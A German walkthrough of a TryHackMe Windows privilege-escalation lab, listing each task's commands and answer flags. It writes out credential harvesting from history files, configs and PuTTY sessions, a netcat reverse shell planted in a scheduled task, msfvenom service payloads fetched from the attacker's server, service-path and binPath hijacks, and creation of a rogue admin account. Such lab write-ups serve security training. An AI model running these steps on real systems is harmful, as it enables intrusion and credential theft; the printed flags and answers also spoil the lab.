https://tryhackme.com/room/windowsprivesc20

Task 1 Introduction

Keine Fragen in diesem Task.

Task 2 Windows Privilege Escalation

Frage 1:
Users that can change system configurations are part of which group?

Antwort 1:
Administrator

Frage 2:
The SYSTEM account has more privileges than the Administrator user (aye/nay)

Antwort 2:
aye

Task 3 Harvesting Passwords from Usual Spots

Frage 1:
A password for the julia.jones user has been left on the Powershell history. What is the password?

Wir öffnen die Kommandozeile (Rechtsklick auf das Windows Logo in der Task Leiste > Run > cmd > Enter) und geben folgenden Befehl ein:

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Daraufhin öffnet sich die Textdatei der History.

Antwort 1:
ZuperCkretPa5z

Frage 2:
A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?

In der Kommandozeile geben wir diesen Befehl ein, um die web.config Logs zu sehen, gefiltert nach Connection Strings:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Antwort 2:
098n0x35skjD3

Frage 3:
There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.

Wir folgen also der Anleitung uns „wechseln“ auf den User mike.katz, mit den gespeicherten Credentials:

C:\Users\thm-unpriv>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz


C:\Users\thm-unpriv>runas /savecred /user:mike.katz cmd.exe
Attempting to start cmd.exe as user "WPRIVESC1\mike.katz" ...

Daraufhin öffnet sich ein neues Kommandozeilenfenster, das uns als Mike Katz sieht. Hier müssen wir nur zur Flag auf dem Desktop navigieren.

Antwort 3:
THM{WHAT_IS_MY_PASSWORD}

Frage 4:
Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?

Zurück in „unserem“ Kommandozeilenfenster geben wir nun den Befehl ein, um die gespeicherten Daten in PuTTY zu sehen:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Antwort 4:
CoolPass2021

Task 4 Other Quick Wins

Frage 1:
What is the taskusr1 flag?

Durch die Scheduled Tasks versuchen wir uns nun an einem Privilege Escalation Szenario. Wir ändern den geplanten Task und verschaffen uns so eine Reverse Shell. Zuerst ändern wir den tatsächlichen Task zu unserer kleinen Payload (in der Kommandozeile der Machine):

C:\> echo c:\tools\nc64.exe -e cmd.exe THM_IP 1234 > C:\tasks\schtask.bat

Jetzt starten wir auf unserem Rechner einen Netcat listener:

nc -lvnp 1234 

In der Kommandozeile auf der Machine starten wir jetzt den manipulierten Task:

schtasks /run /tn vulntask

Auf unserem Listener erhalten wir nun die Reverse Shell und lassen uns den Inhalt der flag.txt anzeigen:

└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.1.75] from (UNKNOWN) [10.10.233.245] 49838
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\users\taskusr1\Desktop\flag.txt
type C:\users\taskusr1\Desktop\flag.txt
THM{TASK_COMPLETED}
C:\Windows\system32>

Antwort 1:
THM{TASK_COMPLETED}

Task 5 Abusing Service Misconfigurations

Frage 1:
Get the flag on svcusr1’s desktop.

Wir nutzen wieder eine Schwachstelle im Scheduler, um uns eine Reverse Shell zu eröffnen. Erstellen wir zuerst eine Payload auf unserem Rechner:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc.exe

Nun erstellen wir einen http Server, damit die Payload heruntergeladen werden kann:

python3 -m http.server

In einem neuen Fenster starten wir auch direkt den Netcat Listener:

nc -lvnp 1234

Auf der Machine starten wir PowerShell (Rechtsklick auf das Windows Logo in der Task Leiste > Run > PowerShell > Enter) und laden unsere Datei herunter:

wget http://THM_IP:8000/rev-svc.exe -O rev-svc.exe

In der Kommandozeile auf der Machine folgen wir den weiteren Schritten und benennen die ursprüngliche Datei um, benennen die Payload in den Namen der ursprünglichen Datei und verschieben sie und schließlich stoppen wir den Windows Scheduler und starten ihn neu:

C:\Users\thm-unpriv>cd c:\PROGRA~2\SYSTEM~1\

c:\PROGRA~2\SYSTEM~1>move WService.exe WService.exe.bkp
        1 file(s) moved.

c:\PROGRA~2\SYSTEM~1>move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

c:\PROGRA~2\SYSTEM~1>icacls WService.exe /grant Everyone:F
processed file: WService.exe
Successfully processed 1 files; Failed processing 0 files

c:\PROGRA~2\SYSTEM~1>sc stop windowsscheduler

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x3e8

c:\PROGRA~2\SYSTEM~1>sc start windowsscheduler

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 4140
        FLAGS              :

c:\PROGRA~2\SYSTEM~1>

Auf unserem Rechner haben wir nun eine Reverse Shell und lassen uns die Flag anzeigen:

C:\Windows\system32>type c:\users\svcusr1\Desktop\flag.txt
type c:\users\svcusr1\Desktop\flag.txt
THM{AT_YOUR_SERVICE}
C:\Windows\system32>

Antwort 1:
THM{AT_YOUR_SERVICE}

Frage 2:
Get the flag on svcusr2’s desktop.

Hier können wir wieder der Anleitung folgen, um die „Unquoted Service Path“- Fehler auszunutzen. Zuerst generieren wir unsere Payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc2.exe

Anschließend starten wir den Netcat Listener, auf dem Port der Payload:

nc -lvnp 1234

Nun starten wir wieder einen Webserver, damit wir unsere Payload auf die Machine bekommen:

python3 -m http.server

Auf der Machine starten wir Powershell und laden unsere Payload herunter:

wget http://THM_IP:8000/rev-svc2.exe -O rev-svc2.exe

Nun verschieben wir die Payload und benennen sie dabei um und geben allen Benutzern auch die Rechte, die Datei zu verwenden:

PS C:\Users\thm-unpriv> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
PS C:\Users\thm-unpriv> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
processed file: C:\MyPrograms\Disk.exe
Successfully processed 1 files; Failed processing 0 files

Anschließend starten wir ein Kommandozeilenfenster auf der Machine und stoppen und starten alle Prozesse wieder, so erhalten wir die Reverse Shell auf unserem Rechner, mit Zugriff von svcusr2:

C:\Users\thm-unpriv>sc stop "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\thm-unpriv>sc start "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 4892
        FLAGS              :

C:\Users\thm-unpriv>

Über unseren Listener haben wir jetzt Zugriff und lassen uns die Flag anzeigen:

C:\Windows\system32>type c:\users\svcusr2\Desktop\flag.txt
type c:\users\svcusr2\Desktop\flag.txt
THM{QUOTES_EVERYWHERE}
C:\Windows\system32>

Antwort 2:
THM{QUOTES_EVERYWHERE}

Frage 3:
Get the flag on the Administrator’s desktop.

Weiter geht es mit den Insecure Service Permissions. Hier beginnen wir wieder mit unserer Payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc3.exe

Und starten auch wieder den Listener:

nc -lvnp 1234

Unser Webserver läuft ja noch, ansonsten starten wir ihn wie in Frage 2.

Wir laden nun die Payload auf die Machine. Dazu geben wir den folgenden Befehl in Powershell ein:

wget http://10.8.1.75:8000/rev-svc3.exe -O rev-svc3.exe

Und geben allen Benutzern wieder die Rechte für die Payload:

 icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Auf der Machine öffnen wir jetzt wieder die Kommandozeile und geben folgendes ein:

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Beachtet die Leerstelle zwischen „obj=“ und „LocalSystem“. Jetzt starten wir unseren neu erschaffenen Prozess:

sc start THMService

Und wir haben eine Reverse Shell! Lassen wir uns gleich den Inhalt der Flag anzeigen:

C:\Windows\system32>type c:\Users\Administrator\Desktop\flag.txt
type c:\Users\Administrator\Desktop\flag.txt
THM{INSECURE_SVC_CONFIG}
C:\Windows\system32>

Antwort 3:
THM{INSECURE_SVC_CONFIG}

Task 6 Abusing dangerous privileges

Frage 1:
Get the flag on the Administrator’s desktop.

Hier können wir uns eine der drei gegebenen (und herovragenden) Anleitungen aussuchen und die Flagge erreichen.

Antwort 1:
THM{SEFLAGPRIVILEGE}

Task 7 Abusing vulnerable software

Frage 1:
Get the flag on the Administrator’s desktop.

Zuerst öffnen wir die angegebene Datei auf der Machine (C:\tools\Druva_inSync_exploit.txt) und fügen die Änderung hinzu. SO erstellen wir nicht einfach nur den User „pwnd“, sondern er hat auch Administratorrechte. Die Datei muss dann folgendermaßen aussehen:

Nun Starten wir PowerShell auf der Machine und kopieren den Exploit hinein.

Anschließend kontrollieren wir, ob es geklappt hat:

PS C:\Users\thm-unpriv> net user pwnd
User name                    pwnd
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/12/2022 4:45:13 PM
Password expires             10/24/2022 4:45:13 PM
Password changeable          9/12/2022 4:45:13 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.

PS C:\Users\thm-unpriv>

Wunderbar, pwnd ist also Administrator! Nun müssen wir eine Kommandozeile als Administrator ausführen. Dazu klicken wir in der Task Leiste auf die Lupe und geben „command“ ein. Anschließend machen wir einen Rechtsklick auf das Ergebnis „Command Prompt“ und wählen „Run as Administrator“.

Nun müssen erscheint eine Passwortabfrage. Hier klicken wir auf „More choices“ und markieren „pwnd“. In das Passwortfeld geben wir unser Passwort ein (SimplePass123). Abschließend klicken wir auf „Yes“. Jetzt öffnet sich die Kommandozeile mit Administratorrechten. Wir lassen uns nun die Flag anzeigen:

C:\Windows\system32>type C:\Users\Administrator\Desktop\flag.txt
THM{EZ_DLL_PROXY_4ME}
C:\Windows\system32>

Antwort 1:
THM{EZ_DLL_PROXY_4ME}

Task 8 Tools of the Trade

Keine Fragen in diesem Task.

Task 9 Conclusion

Keine Fragen in diesem Task.